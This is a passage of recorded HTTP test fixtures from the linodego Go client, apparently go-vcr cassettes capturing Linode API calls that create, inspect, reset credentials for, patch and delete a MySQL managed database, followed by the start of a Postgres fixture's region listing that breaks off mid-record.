Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "461" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:42:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765 method: GET response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210765-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210765-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210765, "label": "go-mysql-test-def547m5mw2qwc5", "members": {"172.104.206.251": "failover", "172.104.206.64": "failover", "172.105.57.43": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "active", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "8.0.30", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "844" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:42:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765/ssl method: GET response: body: '{"ca_certificate": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVRVENDQXFtZ0F3SUJBZ0lVSGw2WFlseHA0MTFpVUMwU294VkYzUmpkUXpBd0RRWUpLb1pJaHZjTkFRRU0KQlFBd09qRTRNRFlHQTFVRUF3d3ZZakF3TkRoaU4yRXRPR0ZrWVMwMFpUWXlMV0UyTXprdFpEazROakU1WXpJeApaR1ZsSUZCeWIycGxZM1FnUTBFd0hoY05NalF4TVRBMk1Ua3hOVFV5V2hjTk16UXhNVEEwTVRreE5UVXlXakE2Ck1UZ3dOZ1lEVlFRRERDOWlNREEwT0dJM1lTMDRZV1JoTFRSbE5qSXRZVFl6T1Mxa09UZzJNVGxqTWpGa1pXVWcKVUhKdmFtVmpkQ0JEUVRDQ0FhSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnR1BBRENDQVlvQ2dnR0JBTXUrMXNuVQpYdXplSUI3U05ReUE5K0JFdkFJYzNKeThRVm1aTmRYWFdVRzUvZlZ3SXZsdVNwaW40SVZuSFpGclJadjNXdmM5CllQbTRQdmxBZEZFcy9qek4wZ3RhNnlVeEJES09YRHBJVksxZU0xbHIrUWNvczQ1blk2cWVXa2xBOThGbFFPQkYKWkk1elkvVU1vLzk3WElINmVQVllzeWQ2dHM0MEp0SjBDYUcyVXBBSUJuOU5QYnRJTFk1a1ZkRGlVdHFSbm55MQpHdmY3N2M3ZkxVYVRkWi9TRUwveGl0S1B5M24zZGFaOG5qUmMzNXlLbWthOElxZXlIS3NqNVc4azMvem1UVlB0Clkvc3ZPcGVCOU5FeHMvenlZZzJFOHp3bGtzUDZwTE85N0hnWXdLNFJPcmZHMUJYLzVFZUhkL29xbHB2dnBLdzUKRklMUVpWRk9jVGFyTm5XdERwa2VKRW5zWmpFd0Y2MTJzNjZHei9GYzF4N1RSdkhEMmQ0MXE0M1pvOXN6bHpETwprWkxrOXZSNUxlZmFSaW9uUnJlYktSR1NzK0tuQlN0aTA0UlpsSGt0ZzZ0dmN1MHdIT05OdG1RODVRTUcvMTJKClJEcXZsMG1IQTR3cXNDUi9RK3Zkc3k3MkprWEFIakFpd0o1bzBwdVNEYTBzUVZzSHdlaGlXakkrelFJREFRQUIKb3o4d1BUQWRCZ05WSFE0RUZnUVVXVDg4RVhSaWRSSmFtOUtkK3RtU3BwTjI0aVF3RHdZRFZSMFRCQWd3QmdFQgovd0lCQURBTEJnTlZIUThFQkFNQ0FRWXdEUVlKS29aSWh2Y05BUUVNQlFBRGdnR0JBSjVKZWRRczJPUG9kd0pZClVzdDdhVWZUNFp1TWhEaWJEditBckdBblAzL3Rsa3JJeEMzMjhoai9ET1gvM3NSUm9xRDVEZm1IMUtBMGkxZEsKcU9QN0pIaUI4dkYrT2Q1MjgvMzFTeFg0cmlpRll5MlozQStHQ2xMRFYyTks3QXBjZXZSL09MUmdSKys5ZElmMQppVHRIczNpd2FNYUtBQ1JaaDFVcTMzU0hURE5URkhVVVJVbGUrM0YvS1J0YllCS1VHa3Vob3lzbE14TXM1aHFiCk5sdlZBdU8yY21ucHl0WWIrcmhseE5BWjZYMjdlODNnd21idUROcjdXaGJRd0xkN1U3Wnh3VlZWYitHTkxlYUkKQU5oMURsOXZLWnRRTFdjNExVZnQxZWZCbzR1MnlwSjRRckd6aHI4alVrQUhRWE4vSzgzaDVqQ2hXRzZjeUozQwpIRm9rZkdhdnF3MkdVS1AyRVc0SkJVQ0VaMTRYUEpjYW9HeTNEQmd3WDUxZ1VTMUsySlR2a0NrMXl0ckh4NzZqCkloMFVJZnFvTS9rNEw1K0Z2YmxsS1ZYaHhoSllBSVg2TndVRzlZRklhR1BUdVZUREFFQlV6L3lWd2VnUmNZcGcKWm0zMDJTbGMrWDlmamwrR2VQN3JWbWtBTmwyOHRYL1VVZG1SeTFlS1BxeDlQZGVEQ2c9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=="}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:42:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765/credentials method: GET response: body: '{"password": "@S3cur3P@ssw0rd", "username": "aCoolUsername"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "64" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:42:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765/credentials/reset method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:47:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765/credentials method: GET response: body: '{"password": "@NewS3cur3P@ssw0rd", "username": "aCoolUsername"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "64" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:48:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765/patch method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:48:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765 method: GET response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210765-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210765-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210765, "label": "go-mysql-test-def547m5mw2qwc5", "members": {"172.104.206.251": "failover", "172.104.206.64": "failover", "172.105.57.43": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "updating", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "8.0.30", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "846" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:48:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765 method: GET response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210765-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210765-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210765, "label": "go-mysql-test-def547m5mw2qwc5", "members": {"172.104.206.251": "failover", "172.104.206.64": "failover", "172.105.57.43": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "updating", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "8.0.30", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "846" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:48:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765 method: GET response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210765-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210765-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210765, "label": "go-mysql-test-def547m5mw2qwc5", "members": {"172.104.206.251": "failover", "172.104.206.64": "failover", "172.105.57.43": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "updating", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "8.0.30", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "846" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:48:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765 method: GET response: body: '{"allow_list": ["123.177.200.20/32", "128.173.205.21/32"], "cluster_size": 3, "created": "2018-01-02T03:04:05", "encrypted": true, "engine": "mysql", "hosts": {"primary": "a210765-akamai-prod-5782758-default.g2a.akamaidb.net", "standby": "replica-a210765-akamai-prod-5782758-default.g2a.akamaidb.net"}, "id": 210765, "label": "go-mysql-test-def547m5mw2qwc5", "members": {"172.104.206.251": "failover", "172.104.206.64": "failover", "172.105.57.43": "primary"}, "oldest_restore_time": "2018-01-02T03:04:05", "port": 18319, "region": "ap-west", "ssl_connection": true, "status": "active", "total_disk_size_gb": 9, "type": "g6-nanode-1", "updated": "2018-01-02T03:04:05", "updates": {"day_of_week": 3, "duration": 4, "frequency": "weekly", "hour_of_day": 8, "pending": []}, "used_disk_size_gb": 0, "version": "8.0.30", "platform": "rdbms-default"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "844" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:49:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/210765 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:49:28 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDatabase_Postgres_Suite.yaml000066400000000000000000007646251474652371000330770ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", 